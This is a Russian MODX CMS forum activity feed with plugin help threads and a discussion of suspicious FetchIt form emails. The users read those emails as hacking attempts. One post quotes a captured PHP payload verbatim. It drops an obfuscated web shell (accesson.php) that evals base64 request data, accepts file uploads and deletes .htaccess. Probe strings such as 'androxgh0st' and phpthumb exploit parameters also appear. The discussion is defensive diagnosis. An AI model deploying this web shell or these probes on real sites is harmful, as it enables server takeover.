Сбор завершен (на самом деле давно, но я что-то забыл здесь отписаться).
Спасибо всем кто участвовал! Вместе мы делаем MODX лучше и удобнее, и это круто!

Все собранные донаты отправились в пользу автора компонента-преемника: FileMan by @Наумов Алексей!

Краудфандинг Обновление компонента FileAttach под MODX3 14

Сергей 12 марта 2024, 15:42

К сожалению это не помогло, то один начинает работать, то другой. В один моменте смог добиться работы и того и другого, только, когда авторизован и то процент скидки рассчитывался не верно.

Вопросы msPromoCode2 ломается после добавления плагина 2

Сергей 12 марта 2024, 15:17

Большое спасибо, нужно было прописать до обработки $dst

Вопросы phpthumbon в сниппете php 4

Наумов Алексей 12 марта 2024, 14:47

и в src и в dst что-то типа (только не помню MODX_BASE_PATH слеш содержит уже или нет).

$src = MODX_BASE_PATH . '/assets/images/image.jpg';
$dst = MODX_BASE_PATH . '/assets/images/image-new.jpg';

Вопросы phpthumbon в сниппете php 4

Сергей 12 марта 2024, 14:41

Спасибо! Я попробовал этот код, к сожалению, как есть он не сработал )
в $src нужно передавать относительный путь картинки или абсолютный?
результат попадает в $dst?

Вопросы phpthumbon в сниппете php 4

Наумов Алексей 12 марта 2024, 14:35

как-то так:

// подключаем phpthumb
require_once MODX_CORE_PATH.'model/phpthumb/phpthumb.class.php';
// создаем объект phpThumb
$phpThumb = new phpThumb();
// задаем имя файла
$phpThumb->setSourceFilename($src);
// параметры
$phpThumb->setParameter('w', 100);
$phpThumb->setParameter('h', 150);
// генерируем файл
if ($phpThumb->GenerateThumbnail()){
  if ($phpThumb->RenderToFile($dst)) {
    // превью сохранено!
  }
}

Вопросы phpthumbon в сниппете php 4

Арман 12 марта 2024, 14:18

Почему-то берет во внимания &emailSubject=`Обратный звонок` но игнорирует &emailTpl=`TplEmailcallbackform`. Я исправил validate=`phoneform: required` добавил к нему & возможно из-за этого как-то некорректно работало.

Вопросы На почту приходят непонятные письма с формы FetchIt. 11

Наумов Алексей 12 марта 2024, 14:00

большой вопрос — почему в почту попадает вот это а не содержимое чанка письма…

Вопросы На почту приходят непонятные письма с формы FetchIt. 11

Артур Шевченко 12 марта 2024, 13:25

Это всё попытки взлома. Скорее всего бомбят action.php. Вариант защиты использовать токен. Можешь попробовать использовать SendIt.

Вопросы На почту приходят непонятные письма с формы FetchIt. 11

Арман 12 марта 2024, 13:05

Я посмотрел вроде он также пытался создать пользователя но у него не получилось. Sql-иньекцию пытались сделать только 1 раз 11 марта судя по почте. С этим всё понятно а что значат остальные сообщения. Которые приходят уже почти неделю с разным временем и количеством каждый день. Такие вот 3 сообщения

debug: true

0x:androxgh0st

config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:

Вопросы На почту приходят непонятные письма с формы FetchIt. 11

Наумов Алексей 12 марта 2024, 12:42

Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.

А так да, прям попыточка взломать всё.

К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого

$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');

беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…

Вопросы На почту приходят непонятные письма с формы FetchIt. 11